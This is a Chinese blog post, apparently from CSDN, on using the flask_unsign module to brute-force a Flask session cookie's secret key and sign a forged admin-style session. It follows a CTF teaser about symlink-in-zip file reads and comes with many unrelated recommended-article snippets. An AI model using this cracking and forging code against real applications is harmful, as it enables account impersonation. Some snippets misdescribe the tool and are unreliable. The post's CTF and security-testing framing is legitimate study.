python 中的 flask_unsign 模块如何使用?

2021-DASCTF八月挑战赛 babypython[国赛总决赛复现] 是个上传界面,经测试只能上传zip文件 看到页面提示,猜测只有admin才能得到flag,需要伪造session,伪造session要用到一个工具-flask-unsign 所以这道题关键是需要找到key. 可以上传zip文件,同时后台自动解压的情况下,从而实现任意文件读取。 软连接导致任意文件读取 我们可以压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。 ln -s /etc/pas 阅读详情

作者:破符

模块的作用

有些web交互中的cookie是加密的,flask_unsign 模块的作用是字典爆破加密cookie的密钥。

模块下载

python -m pip install flask_unsign

python -m pip install flask_unsign_wordlist


模块使用

爆破cookie生成私钥
from flask_unsign import Cracker
from flask_unsign import logger,DEFAULT_WORDLIST

crack = Cracker(value=cookie,salt=DEFAULT_SALT,threads=8)
with wordlist (DEFAULT_WORDLIST) as iterator:
                    crack.crack(iterator)
        if crack.secret:
            logger.success(f'Found secret key after {crack.attempts} attempts')
            session1 = ascii(crack.secret)		#如果session1有结果,则该值为爆破出来的私钥
利用爆破出来的私钥生成新的cookie
from flask_unsign import session

sec_session = session.sign(value="{'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}",secret= session1,)		#secret若无特殊要求,值应为爆破cookie生成的session1

#sec_session值为cookie可添加入header头部

顺便提供一下交互用的头部,注意sec_session为新生成的cookie

{
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36',
            "Cookie" : "session="+sec_session
}
Flask Session伪造实战:手把手教你用flask-unsign破解PicoCTF Most Cookie靶场 本文详细介绍了如何利用flask-unsign工具破解PicoCTF Most Cookie靶场,从密钥爆破到Session伪造的全过程。通过实战操作,读者可以掌握Flask Session的安全漏洞及防御措施,特别适合CTF竞赛和Web安全测试的爱好者。 阅读详情

相关推荐

Flask Session安全机制深度解析与密钥爆破实战

会话管理是Web应用安全的核心基础,它通过在客户端与服务器之间维持状态来实现用户身份认证与数据交互。其原理通常基于Cookie或Token机制,在服务器端或客户端存储会话信息。Flask框架采用独特的客户端会话设计,将会话数据序列化、签名后存储在Cookie中,其安全性完全依赖于密钥的保密性。这一设计在提供无状态扩展优势的同时,也引入了密钥泄露的风险。在Web安全领域,会话伪造和密钥爆破是常见攻击手段,攻击者可通过分析Cookie结构、枚举弱密钥等方式破解会话系统。本文以Flask Session为具体案例

weixin_30258901的博客 417

Flask-Unsign安装与使用指南

Flask-Unsign 是一个基于 Python 的 Flask 框架扩展,专注于提供安全的会话管理解决方案,特别是通过未签名的 cookie 来增强安全性。此项目允许开发者以非加密但混淆的方式存储会话数据,适用于对隐私要求较严格的场景。 ## 1. 项目目录结构及介绍 以下是 `Flask-Unsign` 的基本目录结构及其简要说明: ``` Flask-Unsign/ │ ├──

gitblog_00997的博客 1793

Flask Session伪造与内存马追踪:从CTF实战看Web安全进阶

Web应用安全的核心在于理解会话管理与运行时安全机制。会话(Session)是维持用户状态的关键技术,其实现方式直接影响应用的安全性。以Flask框架为例,其默认将Session数据签名后存储在客户端Cookie中,这一设计在带来无状态便利的同时,也引入了Session伪造的风险——攻击者一旦获取签名密钥(SECRET_KEY),便可伪造任意用户身份。这种漏洞常出现在密钥硬编码、源码泄露或弱密钥配置的场景中。更隐蔽的威胁来自内存马(Memory Shell),这是一种无文件落地的持久化后门,通过向应用运行时

weixin_30876945的博客 433

【无标题】

​ 对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。获取硬件的地址并以48位二进制长度的正整数形式返回,这里所说的硬件地址是指网络接口的MAC地址,如果一个机器有多个网络接口,可能返回其中的任一个。:file://机器的IP地址/目录/文件,例如要打开D盘images文件夹中的111.png文件,那么可以在资源管理器或IE地址栏中键入file://D:/images/111.png 然后回车。关于这题以及知识点的总结,可能有点乱(狗头)。

weixin_52230368的博客 945

Flask Session解密与内存马路由追踪:CTF实战分析

在Web安全领域,客户端Session机制和内存马是常见攻击面。Flask框架默认将Session数据签名后存储在Cookie中,若密钥泄露或使用弱密钥,攻击者可解密甚至伪造Session。内存马则通过动态注册路由实现无文件持久化,隐蔽性强。掌握Session解密与路由追踪技术,不仅能提升CTF竞赛解题效率,在真实渗透测试和应急响应中同样关键。本文深入剖析Flask Session结构、密钥获取与伪造方法,并结合流量特征与路由比对,系统讲解内存马的定位与源码提取,助力安全从业者构建完整攻防思路。

weixin_29323551的博客 248

flask、session、cookie解加密脚本

flask、session、cookie解加密脚本

探索 Flask-Unsign:安全高效地管理你的签名URL

是一个基于 Python 的 Flask 扩展,旨在为开发者提供一种简单而安全的方式来创建和验证时效性的、一次性使用的签名 URL。在 Web 开发中,这种功能常见于文件下载、限时访问等内容的保护。 ## 项目简介 Flask-Unsign 提供了一套 API,能够方便地将私钥与 URL 结合,生成一个只能在指定时间内有效,并且只允许被使用一次的链接。通过这种方式,你可以确保敏感资源不被滥用或

gitblog_00050的博客 762

Python库 | flask_unsign_wordlist-0.0.5-py2.py3-none-any.whl

python库,解压后可用。 资源全名:flask_unsign_wordlist-0.0.5-py2.py3-none-any.whl

如何利用Flask-Unsign工具检测和加固Flask应用会话安全

你是否曾经担心过自己的Flask应用会话数据是否安全?或者作为安全测试人员,需要评估Flask应用的会话安全性?Flask-Unsign正是为此而生的专业工具,它能帮助你**检测、分析和加固**Flask应用的会话安全机制。 ## 🔍 Flask会话安全的核心痛点 Flask作为流行的Python Web框架,其会话管理机制存在一个容易被忽视的安全特性:**会话数据是签名而非加密的**。这意

gitblog_00128的博客 359

STM32结合FFT与窗函数优化,实现高精度正弦信号提取

本文详细介绍了如何在STM32嵌入式平台上结合FFT算法与窗函数优化技术,实现高精度正弦信号提取。通过分析频谱泄漏原理,对比汉宁窗、汉明窗等窗函数特性,并提供实际代码示例和幅值补偿方法,有效解决了工业检测中信号精度不足的问题。

v5w6x的博客 221

Linux安装部署PostgreSQL详细步骤

Linux安装部署PostgreSQL详细步骤

2301_77356579的博客 9321

Flask-Unsign:3步掌握Flask会话安全检测与防护技巧

Flask-Unsign是一个强大的Python安全工具,专门用于检测和测试Flask框架会话cookie的安全性。这个工具能够帮助开发者和安全专家发现Flask应用程序中潜在的安全漏洞,特别是那些使用弱密钥或默认配置的会话管理机制。Flask作为Python最流行的Web框架之一,其会话管理机制的安全性直接关系到整个应用的安全性。Flask-Unsign通过解码、暴力破解和伪造会话cookie,

gitblog_00246的博客 252

深入解析AndroidManifest.xml与device_admin.xml:打造完美DeviceOwner应用配置

本文深入解析了Android企业级开发中DeviceOwner应用的核心配置文件AndroidManifest.xml与device_admin.xml。详细阐述了如何精准声明DeviceAdminReceiver、定义管理策略,并提供了通过ADB命令进行设置与验证的实战指南,帮助开发者构建权限完整、配置正确的设备所有者应用。

ice55的博客 679

保姆级教程:用Python脚本解密Flask Session Cookie,手把手教你伪造管理员身份

本文详细解析了Flask Session机制的安全隐患,提供了从解密Cookie到伪造管理员身份的全套实战教程。重点演示了如何利用`secret_key`进行Session伪造攻击,并给出企业级防御方案,包括密钥管理、服务端Session存储和多因素认证等核心防护措施。

weixin_30425949的博客 574

VSCode里玩转AvaloniaUI:手把手教你搭建跨平台桌面应用开发环境(附.NET 7配置避坑)

本文详细介绍了如何在VSCode中搭建AvaloniaUI跨平台桌面应用开发环境,包括.NET 7配置避坑指南。从环境准备、项目创建到调试优化,手把手教你利用VSCode和Avalonia实现高效开发,特别解决了.NET 7依赖等常见问题,助力开发者快速上手跨平台应用开发。

weixin_28826545的博客 576

别再死磕USB HID了!用ESP32的Arduino框架手把手教你实现蓝牙鼠标键盘(附完整代码)

本文详细介绍了如何使用ESP32的Arduino框架实现蓝牙HID设备,包括鼠标和键盘的快速开发。通过现成的库和示例代码,开发者可以轻松打造自定义蓝牙外设,无需复杂的USB HID协议栈,适用于演示控制器、宏键盘等多种场景。

weixin_31309419的博客 260

别再死记硬背了!手把手教你用Python脚本自动化搞定Flask session伪造(附catcat-new实战代码)

本文详细介绍了如何使用Python脚本自动化实现Flask session伪造,以攻防世界中的catcat-new题目为例,提供完整的实战代码和工具设计思路。通过自动化内存探测、密钥提取和Session伪造,显著提升Web安全测试效率,适用于CTF竞赛和实际渗透测试场景。

weixin_33714884的博客 216

AI Agent + 大数据 + RAG:电商用户行为分析的低成本落地

本文探讨了AIAgent与大数据技术在电商用户行为分析中的应用。通过构建"数据采集-实时分析-智能决策"的全自治链路,解决了传统大数据分析的三大痛点:人工建模周期长、实时性不足和决策闭环断裂。系统采用Flink+Spark处理实时数据,结合基于DeepSeek-V3.1的AIAgent实现智能分析,并通过飞书RAG模块动态获取业务知识。落地效果显示,分析响应时间从2-3天缩短至30秒,推荐转化率提升134%,验证了该方案在提升电商数据决策效率方面的显著价值。

想~ai抽 1618

flask的安装与入门使用

一、flask的安装 flask项目一般使用虚拟环境virtualenv运行,当然也可以直接在全局环境中使用 virtualenv的安装使用可以参考https://blog.youkuaiyun.com/changfcqxhy/article/details/90611331 安装 进入虚拟环境,输入指令 pip install Flask 等待安装完成即可 二、flask入门 参考文档 http://do...

changfcqxhy的博客 796

2023推免(夏令营+套实验室)面试总结(博文附问题汇总和参考答案)

2023推免(夏令营+套实验室)面试总结(博文附问题汇总和参考答案)

m0_51339444的博客 1804

手把手教你学Simulink——基于Simulink的滑模控制器车辆稳定性仿真建模示例

本文详细介绍了基于Simulink的滑模控制器在车辆稳定性控制中的应用。通过建立二自由度车辆动力学模型(含魔术公式轮胎),设计横摆角速度与质心侧偏角滑模控制器,在Simulink中实现直接横摆力矩控制。文章包含完整的建模流程:从参考模型设计、滑模控制器推导(含等效控制和边界层法),到MATLAB参数设定和Simulink模块搭建。通过双移线测试和路面突变场景验证,证明该控制器能在低附着路面(μ=0.3)将横摆角速度误差控制在±5%以内,显著提升车辆稳定性。同时提供了工程实践要点和扩展方向(如高阶滑模、自适应

MHD0815的博客 106

Flask会话伪造与SECRET_KEY泄露:从HCTF 2018 admin题看会话安全

Web会话安全是Web安全的基础议题,而Flask session机制常被误认为加密,实则仅为基于SECRET_KEY的签名防伪。当密钥使用弱默认值或发生泄露,攻击者即可篡改会话内容伪造身份。理解该机制对代码审计与漏洞挖掘具有直接价值。典型如CTF中的历史题目HCTF 2018 admin,通过源码审计发现默认密钥admin,再利用flask-unsign或itsdangerous手工签名伪造admin cookie,最终绕过身份校验。这类攻击在真实业务中同样适用,防范要点在于使用强随机密钥、避免源码泄露、

weixin_33282146的博客 113

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Flask 版本演进全解:从 CHANGES.rst 读懂 Flask 从 0.1 到 3.2 的关键变更与升级要点

本文以仓库中的 [CHANGES.rst](https://link.gitcode.com/i/89450af46d92c1a17f2b5a2014aeefef) 为主体,系统梳理 Flask 自 2010 年首个公开预览版 0.1 到当前开发版 3.2.0.dev 的全部版本脉络:每个大版本周期引入了哪些核心能力、废弃并移除了哪些 API、依赖最低版本如何演进。读完后,你可以快速判断自己的项目

gitblog_00210的博客 427

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

flask 学习一

from flask import Flask # imorted the Flask class. An instance of this class will be our WSGI application. app = Flask(__name__) # we create an instance of this class. The first argument is the name ...

weixin_42262889的博客 197

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Decepticon 实战拆解:从 XBEN-002-24 看「默认口令 → Flask 会话伪造 → IDOR」自动化攻击链的完整闭环

本篇文章围绕 Decepticon 开源仓库中一份真实的基准测试结果报告([benchmark/results/XBEN-002-24/report.md](https://link.gitcode.com/i/109897167f9138fb89ac5b7954e0260e))展开:这是 XBOW validation-benchmarks 套件中的 Level 2(中等难度)挑战——「IDOR

gitblog_00555的博客 469
上一篇: 栈溢出基础教学
下一篇: nmap服务识别指纹自制细节
毛伯星
博客等级 码龄9年 18粉丝 8原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值